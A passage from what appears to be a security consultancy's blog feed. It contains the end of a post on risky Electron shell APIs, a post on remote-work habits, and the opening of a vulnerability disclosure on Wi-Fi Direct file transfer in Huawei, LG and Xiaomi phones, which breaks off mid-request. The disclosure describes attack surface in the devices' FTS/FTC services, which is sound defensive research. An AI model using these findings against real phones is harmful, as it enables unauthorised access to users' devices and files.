                                 &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dir_item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ITEMIDLIST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;highlight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;hr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHOpenFolderAndSelectItems&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dir_item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;highlight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;highlight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                  &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
 &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FAILED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERROR_FILE_NOT_FOUND&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;ShellExecute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;open&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SW_SHOW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;LOG&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WARNING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__func__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;(): Can't open full_path = &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                   &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
                   &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot; hr = &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SystemErrorCodeToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Under normal circustances, the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shopenfolderandselectitems&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHOpenFolderAndSelectItems&lt;/code&gt;&lt;/a&gt; Windows API (from &lt;em&gt;shlobj_core.h&lt;/em&gt;) is used. However, Electron introduced a fall-back mechanism as the call mysteriously fails with a “file not found” exception on old Windows systems. In these cases, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ShellExecute&lt;/code&gt;&lt;/a&gt; is used as a fallback, specifying “open” as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lpVerb&lt;/code&gt; parameter. According to the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/shell/launch#object-verbs&quot;&gt;Windows Shell documentation&lt;/a&gt;, the “open” object verb launches the specified file or application. If this file is not an executable file, its associated application is launched.&lt;/p&gt;

&lt;p&gt;While the exploitability of these quirks is up to discussions, these examples showcase how innoucous APIs might introduce OS-dependent security risks. In fact, &lt;a href=&quot;https://chromium-review.googlesource.com/c/chromium/src/+/1905947&quot;&gt;Chromium has refactored&lt;/a&gt; the code in question to avoid the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xdg-open&lt;/code&gt; altogether and leverage &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dbus&lt;/code&gt; instead.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;The Electron APIs illustrated in this blog post are &lt;strong&gt;just a few notable examples&lt;/strong&gt; of potentially dangerous primitives that are available in the framework. As Electron will become more and more integrated with all supported operating systems, we expect this list to increase over time. As we often repeat, &lt;strong&gt;know your framework (and its limitations)&lt;/strong&gt; and adopt defense in depth mechanisms to mitigate such deficiencies.&lt;/p&gt;

&lt;p&gt;As a company, we will continue to devote our &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;25% research time&lt;/a&gt; to secure the ElectronJS ecosystem and improve &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Psychology of Remote Work</title>
   <link href="https://blog.doyensec.com/2020/12/17/psychology-of-remote-work.html"/>
   <updated>2020-12-17T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/12/17/psychology-of-remote-work</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;This is the first in a series of non-technical blog posts aiming at discussing the opportunities and challenges that arise when running a small information security consulting company. After all, day to day life at Doyensec is not only about computers and stories of breaking bits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The pandemic has deeply affected standard office work and forced us to immediately change our habits. In all probability, no one could have predicted that suddenly the office was going to be “moved”, and the new location is a living room. Remote work has been a hot topic for many years, however the current situation has certainly accelerated the adoption and forced companies to make a change.&lt;/p&gt;

&lt;p&gt;At Doyensec, we’ve been a 100% remote company since day one.  In  this blog post, we’d like to present our best practices and also list some of the myths which surround the idea of remote work. This article is based on our personal experience and will hopefully help the reader to work at home more efficiently. There are no magic recipes here, just a collection of things that work for us.&lt;/p&gt;

&lt;h3 id=&quot;5-standard-rules-we-follow-and-7-myths-that-we-believe-are-false&quot;&gt;5 standard rules we follow and 7 myths that we believe are false&lt;/h3&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;img src=&quot;../../../public/images/obrazek.jpg&quot; title=&quot;obrazek&quot; alt=&quot;obrazek&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;five-golden-rules&quot;&gt;Five Golden Rules&lt;/h3&gt;

&lt;h4 id=&quot;1-work-separated-from-the-home-zone&quot;&gt;1. “Work” separated from the “Home” zone&lt;/h4&gt;

&lt;p&gt;The most effective solution is to work in a separate and dedicated room, which automatically becomes your office. It is important to physically separate somehow the workplace from the rest of the house, e.g. a screen, small bookcase or curtain. The worst  thing you can do is work on the couch or bed where you usually rest. We try not to review source code from the place where we normally eat snacks, or debug an application in the same place we sleep. If possible, work at a desk. It will also be easier for you to mobilize yourself for a specific activity. Also, make sure that your household, especially your young children, do not play in your “office area”. It will be best if this “home office space” belongs exclusively to you.&lt;/p&gt;

&lt;h4 id=&quot;2-the-importance-of-a-workplace&quot;&gt;2. The importance of a workplace&lt;/h4&gt;

&lt;p&gt;Prepare a desk with adequate lighting and a comfortable chair. We emphasize  the need for a functional, ergonomic  chair, and not simply an armchair. It’s about working effectively. The time to relax will come later. Arrange everything so that you work with ease. Notebooks and other materials should be tidied up on the desk and kept neat. This will be a clear, distinguishing feature of the work place. Family members should know that this is a work area from the way it looks. It will be easier for them to get used to the fact that instead of “going to work,” work related responsibilities will be performed at home. Also, this setup gives an opportunity to make security testing more efficient - for example by setting up bigger screens and ready to use testing equipment.&lt;/p&gt;

&lt;h4 id=&quot;3-control-your-time-establish-a-routine&quot;&gt;3. Control your time (establish a routine)&lt;/h4&gt;

&lt;p&gt;A flexible working time can be treacherous. There are times when an eight hour working day is sufficient to complete an important project. On the other hand, there are situations where various distractions can take attention away from an assigned task. In order to avoid this type of scenario, fixed working hours must be  established. For example, some Doyensec employees use &lt;a href=&quot;https://apps.apple.com/us/app/be-focused-focus-timer/id973130201&quot;&gt;BeFocused&lt;/a&gt; and &lt;a href=&quot;https://timingapp.com/?lang=en&quot;&gt;Timing&lt;/a&gt; apps to regulate their time. Intuitive and user friendly applications will help you balance your private and professional life and will also remind you when it’s time to take a break. Working long hours with no breaks is the main source of burnout.&lt;/p&gt;

&lt;h4 id=&quot;4-find-excuses-to-leave-your-house-vary-the-routine&quot;&gt;4. Find excuses to leave your house (vary the routine)&lt;/h4&gt;

&lt;p&gt;Traditional work is usually based on a structured day spent in an office environment. The day is organized into work sessions and breaks. When working at home, on the other hand, time must be allotted for non-work related responsibilities on a more subjective basis. It is important for the routine to be elastic enough to include breaks for everything from physical activity (walks) to shopping (groceries) and social interaction. 
Leaving the house regularly is very beneficial. A break will bring on a refreshed perspective. The current pandemic is obviously the reason why people spend more time inside. Outside physical activities are very important to keep our minds fresh and a set of new endorphins is always welcome. As proof of evidence, our best bugs are usually discovered after a run or a walk outside!&lt;/p&gt;

&lt;h4 id=&quot;5-avoid-distractions&quot;&gt;5. Avoid distractions&lt;/h4&gt;

&lt;p&gt;While this sounds like simple and intuitive advice, avoiding distractions is actually really difficult! In general it’s good to turn off notifications on your computer or phone, especially while working. We trust our people and they don’t have to be immediately 100% reachable when working. As long as our consultants provide updates and results when needed, it is perfectly fine to shutdown email and other communication channels. Depending on personal preference, some individuals require complete silence, while others can accomplish their work while listening to music. If you belong to that category of people  who cannot work in absolute silence and normal music levels are too intense,  consider using &lt;a href=&quot;https://www.youtube.com/watch?v=yLOM8R6lbzg&quot;&gt;white noise&lt;/a&gt;. There are applications available that you can use to create a neutral soundtrack that helps you to concentrate. You can easily follow our recommendation on &lt;strong&gt;Spotify&lt;/strong&gt;: &lt;a href=&quot;https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWZeKCadgRdKQ?si=WT4TRMiBSC2txtZbyzg82A&quot;&gt;something calm&lt;/a&gt;, &lt;a href=&quot;https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWV7EzJMK2FUI?si=xf7hCOslTDmLspG29G8dDA&quot;&gt;maybe jazz style&lt;/a&gt; or &lt;a href=&quot;https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWXUpC6mczRpA?si=5SgZ-9_zT4yX-fURma50YQ&quot;&gt;classy&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;img src=&quot;../../../public/images/factmyth.jpg&quot; title=&quot;FactMyth&quot; alt=&quot;FactMyth&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 50%&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;seven-myths&quot;&gt;Seven Myths&lt;/h3&gt;

&lt;p&gt;Let’s now talk about some myths related to remote work:&lt;/p&gt;

&lt;h4 id=&quot;1-remote-employees-have-no-control-over-projects&quot;&gt;1. Remote employees have no control over projects&lt;/h4&gt;

&lt;p&gt;At Doyensec, we have successfully delivered hundreds of projects that were done exclusively remotely. If we are delivering a small project, we usually allocate one security researcher who is able to start the project from scratch and deliver a high quality deliverable, but sometimes we have 2-3 consultants working on the same engagement and the outcome is of the same quality.
Most of our communication goes through (&lt;a href=&quot;https://gpgtools.org/&quot;&gt;PGP-encrypted&lt;/a&gt;) emails. An instant messenger can help a great deal when answers are needed quickly.
The real challenge is in hiring the right people who can control the project regardless of their physical location. While employing people for our company, we look at both technical and project management skills. According to Jason Fried and Davis Heinemeier Hansson, 37 Signal co-founders, you shouldn’t hire people you don’t trust (&lt;a href=&quot;https://www.amazon.com/Remote-Office-Required-Jason-Fried/dp/0804137501&quot;&gt;Remote&lt;/a&gt;). We totally agree with this statement.&lt;/p&gt;

&lt;h4 id=&quot;2-remote-employees-cannot-learn-from-colleagues&quot;&gt;2. Remote employees cannot learn from colleagues&lt;/h4&gt;

&lt;p&gt;The obvious fact is that it is easier to learn when a colleague is physically in the same office and not on the other side of the screen, but we have learned to deal with this problem. Part of our organizational culture is a “screen sharing session” where two people working on the same project analyze source code and look for vulnerabilities together. During our weekly meetings, we also organize a session called “best bugs” where we all share the most interesting findings from a given week.&lt;/p&gt;

&lt;h4 id=&quot;3-remote-work--lack-of-work--life-balance&quot;&gt;3. Remote work = lack of work &amp;amp; life balance?&lt;/h4&gt;

&lt;p&gt;If a person is not able to organize his/her work day properly, it is easy to drag out the work day from early in the morning to midnight instead of completing everything within the expected eight hours. Self discipline and iterative improvements are the key solutions for an effective day. Work/life balance is important, but who said that forcing a 9am-5pm schedule is the best way to work? Wouldn’t it be better to visit a grocery store or a gym in the middle of the day when no one is around and finish work in the evening?&lt;/p&gt;

&lt;h4 id=&quot;4-employees-not-under-control&quot;&gt;4. Employees not under control&lt;/h4&gt;

&lt;p&gt;Healthy remote companies rely on trust. If they didn’t then they wouldn’t offer remote work opportunities in the first place. People working at home carry out their duties like everyone else. In fact, planning activities such as gym-workouts, family time, and hobbies is much easier thanks to the flexible schedule. You can freely organize your work day around important family matters or other responsibilities if necessary.&lt;/p&gt;

&lt;p&gt;Companies should be focused on having better hiring processes and ensuring long-term retention instead of being over concerned about the risk of “remote slacking”. In fact, our experience in the past four years would actually suggest that it is more challenging to ensure a healthy work/life balance since our researchers are sufficiently motivated and love what they do.&lt;/p&gt;

&lt;h4 id=&quot;5-remote-work-means-working-outside-the-employers-office&quot;&gt;5. Remote work means working outside the employer’s office&lt;/h4&gt;

&lt;p&gt;It should be understood that not all remote work is the same. If you work in customer service and receive regular calls from customers, for example, you might be working from a confined space in a separate room at home. Remote work means working outside the employer’s office. It can mean working in a co-working space, cafeteria, hotel or any other place where you have a good Internet connection.&lt;/p&gt;

&lt;h4 id=&quot;6-remote-work-is-lonely&quot;&gt;6. Remote work is lonely&lt;/h4&gt;

&lt;p&gt;This one is a bit tricky since it’s technically true and false. It’s true that you usually sit at home and work alone, but in our security work we’re constantly exchanging information via e-mails, &lt;a href=&quot;https://mattermost.com/&quot;&gt;Mattermost&lt;/a&gt;, &lt;a href=&quot;https://signal.org/en/&quot;&gt;Signal&lt;/a&gt;, etc. We also have &lt;a href=&quot;https://hangouts.google.com/&quot;&gt;Hangouts&lt;/a&gt; video meetings where we can sync up. If someone feels personally isolated, we always recommend signing up for some activities like a gym, book club or other options where like-minded people associate. Lonely individuals are less productive over the long run. Compared to the traditional office model, remote work requires looking for friends and colleagues outside the company - which isn’t a bad thing after all.&lt;/p&gt;

&lt;h4 id=&quot;7-remote-work-is-for-everyone&quot;&gt;7. Remote work is for everyone&lt;/h4&gt;

&lt;p&gt;We strongly believe that there are people who will still prefer an onsite job. Some individuals need constant contact with others. They also prefer the standard 9am-5pm work schedule. There is nothing wrong with that. People that are working remotely have to make more decisions on their own and need stronger self-discipline. Since they are unable to engage in direct consultation with co-workers, a reduction of direct communication occurs. Nevertheless, remote work will become something “normal” for an increasing number of people, especially for the Y and Z generation.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Novel Abuses On Wi-Fi Direct Mobile File Transfers</title>
   <link href="https://blog.doyensec.com/2020/12/10/novel-abuses-wifi-direct-mobile-file-transfers.html"/>
   <updated>2020-12-10T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/12/10/novel-abuses-wifi-direct-mobile-file-transfers</id>
   <content type="html">&lt;style&gt;.novel-abuses-on-wi-fi-direct-mobile-file-transfers li {list-style-type: decimal;} .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc&gt;li, .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc&gt;li&gt;ul&gt;li { list-style-type: lower-roman; } .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-toc&gt;li&gt;ul { margin-bottom: 0rem;} .dot { width: 22px;background-color: #ffd965;border-radius: 50%;display: inline-table;font-weight: bold;text-align:center;}&lt;/style&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.wi-fi.org/discover-wi-fi/wi-fi-direct&quot;&gt;Wi-Fi Direct&lt;/a&gt; specification (a.k.a. “peer-to-peer” or “P2P” Wi-Fi)  turned 10 years old this past April. This 802.11 extension has been available &lt;a href=&quot;https://developer.android.com/guide/topics/connectivity/wifip2p&quot;&gt;since Android 4.0&lt;/a&gt; through a dedicated API that interfaces with a devices’ built-in hardware which directly connects to each other via Wi-Fi without an intermediate access point. 
Multiple mobile vendors and early adopters of this technology quickly leveraged the standard to provide their products with a fast and reliable file transfer solution.&lt;/p&gt;

&lt;p&gt;After almost a decade, &lt;strong&gt;a huge majority of mobile OEMs still rely on custom locked-in implementations for file transfer&lt;/strong&gt;, even if &lt;a href=&quot;https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/&quot;&gt;large cross-vendors alliances&lt;/a&gt; (e.g. the &lt;em&gt;“Peer-to-Peer Transmission Alliance”&lt;/em&gt;) and big players like &lt;a href=&quot;https://www.xda-developers.com/android-nearby-share-file-sharing-chrome-os-windows-macos-linux-chrome/&quot;&gt;Google&lt;/a&gt; (with the recent &lt;em&gt;“Nearby Share”&lt;/em&gt; feature) are moving to change this in the near future.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;a href=&quot;https://xkcd.com/949/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;img src=&quot;../../../public/images/file_transfer.png&quot; title=&quot;Every time you email a file to yourself so you can pull it up on your friend's laptop, Tim Berners-Lee sheds a single tear.&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 60%;&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;During our research, three popular P2P file transfer implementations were studied (namely &lt;em&gt;Huawei Share&lt;/em&gt;, &lt;em&gt;LG SmartShare Beam&lt;/em&gt;, &lt;em&gt;Xiaomi Mi Share&lt;/em&gt;) and &lt;strong&gt;all of them were found to be vulnerable due to an insecure shared design&lt;/strong&gt;. While some groundbreaking research work attacking the protocol layer has already been presented by &lt;a href=&quot;https://www.youtube.com/watch?v=HukhsrYlrAo&quot;&gt;Andrés Blanco during Black Hat EU 2018&lt;/a&gt;, we decided to focus on the application layer of this particular class of custom UPnP service.&lt;/p&gt;

&lt;p&gt;This blog post will cover the following topics:&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#a-recurrent-design-pattern&quot; id=&quot;markdown-toc-a-recurrent-design-pattern&quot;&gt;A Recurrent Design Pattern&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#lg-smartshare-beam&quot; id=&quot;markdown-toc-lg-smartshare-beam&quot;&gt;LG SmartShare Beam&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#what-could-go-wrong&quot; id=&quot;markdown-toc-what-could-go-wrong&quot;&gt;What could go wrong?&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#huawei-share&quot; id=&quot;markdown-toc-huawei-share&quot;&gt;Huawei Share&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#abusing-ftsftc-crashes&quot; id=&quot;markdown-toc-abusing-ftsftc-crashes&quot;&gt;Abusing FTS/FTC Crashes&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#xiaomi-mi-share&quot; id=&quot;markdown-toc-xiaomi-mi-share&quot;&gt;Xiaomi Mi Share&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusions&quot; id=&quot;markdown-toc-conclusions&quot;&gt;Conclusions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;a-recurrent-design-pattern&quot;&gt;A Recurrent Design Pattern&lt;/h3&gt;

&lt;p&gt;On the majority of OEMs solutions, mobile file transfer applications will spawn two servers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A &lt;em&gt;File Transfer Controller or Client &lt;strong&gt;(FTC)&lt;/strong&gt;&lt;/em&gt;, that will manage the majority of the pairing and transfer control flow&lt;/li&gt;
  &lt;li&gt;A &lt;em&gt;File Transfer Server &lt;strong&gt;(FTS)&lt;/strong&gt;&lt;/em&gt;, that will check a session’s validity and serve the intended shared file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These two services are used for device discovery, pairing and sessions, authorization requests, and file transport functions. Usually they are implemented as classes of a shared parent application which orchestrate the entire transfer. These components are responsible for:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Creating the Wi-Fi Direct network&lt;/li&gt;
  &lt;li&gt;Using the standard &lt;a href=&quot;http://upnp.org/resources/documents/UPnP_UDA_tutorial_July2014.pdf&quot;&gt;UPnP phases&lt;/a&gt; to announce the device, the file service description (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/description.xml&lt;/code&gt;), and events subscription&lt;/li&gt;
  &lt;li&gt;Issuing a UPnP remote procedure call to create a transfer request with another peer&lt;/li&gt;
  &lt;li&gt;Upon acceptance from the recipient, uploading the target file through an HTTP POST/PUT request to a defined location&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;An important consideration for the following abuses is that after a P2P Wi-Fi connection is established, its network interface (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p2p-wlan0-0&lt;/code&gt;) &lt;a href=&quot;https://developer.android.com/reference/java/net/NetworkInterface&quot;&gt;is available&lt;/a&gt; to every application running on the user’s device having &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android.permission.INTERNET&lt;/code&gt;. Because of this, &lt;strong&gt;local apps can interact with the FTS and FTC services spawned by the file sharing applications on the local or remote device clients, opening the door to a multitude of attacks.&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lg-smartshare-beam&quot;&gt;LG SmartShare Beam&lt;/h2&gt;

&lt;p&gt;Smartshare is a stock LG solution to connect their phones to other devices using Wi-Fi (DLNA, Miracast) or Bluetooth (A2DP, OPP). The &lt;em&gt;Beam&lt;/em&gt; feature is used for file transfer among LG devices.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;video controls=&quot;&quot; poster=&quot;../../../public/images/LGSmartShare.jpg&quot; src=&quot;../../../public/images/LGSmartShare.mp4&quot; title=&quot;SmartShare Product Overview&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot;&gt;&lt;/video&gt;
&lt;/div&gt;

&lt;p&gt;Just like other similar applications, an FTS ( &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileTransferTransmitter&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.lge.wfds.service.send.tx&lt;/code&gt;) and an FTC (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileTransferReceiver&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.lge.wfds.service.send.rx&lt;/code&gt;) are spawned and listening on ports &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;54003&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;55003&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As a way of example, the following HTTP requests demonstrate the FTC and the FTS in action whenever a file transfer session between two parties is requested. First, the FTS performs a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateSendSession&lt;/code&gt; SOAP action:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /FileTransfer/control.xml HTTP/1.1
Connection: Keep-Alive
HOST: 192.168.49.1:55003
Content-Type: text/xml; charset=&quot;utf-8&quot;
Content-Length: 1025
SOAPACTION: &quot;urn:schemas-wifialliance-org:service:FileTransfer:1#CreateSendSession&quot;
 
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Envelope&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns:s=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;s:encodingStyle=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Body&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;u:CreateSendSession&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;xmlns:u=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:schemas-wifialliance-org:service:FileTransfer:1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
